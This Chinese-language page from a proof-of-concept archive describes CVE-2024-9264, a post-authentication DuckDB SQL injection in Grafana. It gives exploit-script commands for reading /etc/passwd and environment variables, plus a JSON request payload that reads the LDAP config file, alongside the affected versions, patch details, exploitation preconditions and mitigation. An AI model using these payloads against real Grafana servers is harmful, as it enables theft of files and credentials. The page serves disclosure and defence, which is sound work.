目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-9264 PoC — Grafana 安全漏洞

来源
关联漏洞
标题: Grafana 安全漏洞 (CVE-2024-9264)
Description:Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。 Grafana存在安全漏洞,该漏洞源于SQL表达式实验性功能在处理用户输入的duckdb查询时,未能充分清理,导致命令注入和本地文件包含漏洞。
Description
Exploit for Grafana arbitrary file-read (CVE-2024-9264)
介绍
# CVE-2024-9264  
## Grafana Post-Auth DuckDB SQL注入漏洞 (文件读取)

### 漏洞利用示例 (PoC)
![image](https://github.com/user-attachments/assets/94b71aef-1336-4fc7-a93b-6647af1cf590)

这个PoC演示了如何利用CVE-2024-9264,通过已认证用户执行DuckDB SQL查询并读取系统中的任意文件。

**环境设置:**
先安装依赖:
```bash
pip install -r requirements.txt
```

**用法 (文件读取示例):**
```bash
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
```

你还可以执行任意DuckDB查询,例如获取环境变量:
```bash
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
```

DuckDB的实用功能列表请参考[这里](https://duckdb.org/docs/sql/functions/utility)。

### 漏洞概述

[CVE-2024-9264](https://grafana.com/security/security-advisories/cve-2024-9264) 是Grafana的实验性SQL表达式功能中的DuckDB SQL注入漏洞。任何经过认证的用户都可以通过修改Grafana仪表盘中的表达式执行任意DuckDB SQL查询。

**受影响版本:**
- Grafana OSS和Enterprise版本11.0.0 - 11.0.5, 11.1.0 - 11.1.6, 11.2.0 - 11.2.1。

**修补版本:**
- 11.0.5+security-01及以上版本

### 查找补丁

Grafana发布了专门的版本来修复这个漏洞。使用以下命令可以查看补丁的差异:
```bash
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
```

补丁删除了SQL表达式功能,防止漏洞利用。

### 漏洞利用步骤

1. **启动Grafana**:
   使用11.0.5版本的Grafana:
   ```bash
   docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
   ```

2. **修改表达式**:
   创建一个仪表盘,拦截请求并将`datasource`类型从`math`修改为`sql`。

   发送到`/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101`的请求可用于执行DuckDB SQL查询,读取文件内容:

   ```json
   {
     "queries": [
       {
         "refId": "B",
         "datasource": {
           "type": "__expr__",
           "uid": "__expr__",
           "name": "Expression"
         },
         "type": "sql",
         "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")"
       }
     ]
   }
   ```

### 漏洞利用难度

此漏洞虽然严重,但是否能够利用取决于Grafana服务器上是否安装了DuckDB。**默认情况下,Grafana并不包含DuckDB**,如果没有手动安装DuckDB,漏洞不可利用。

### 缓解措施

更新Grafana到修补版本,并确保服务器的`$PATH`中没有DuckDB二进制文件。

### 致谢

此PoC使用了 [cfreal](https://github.com/cfreal) 开发的 [ten](https://github.com/cfreal/ten) 框架。
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →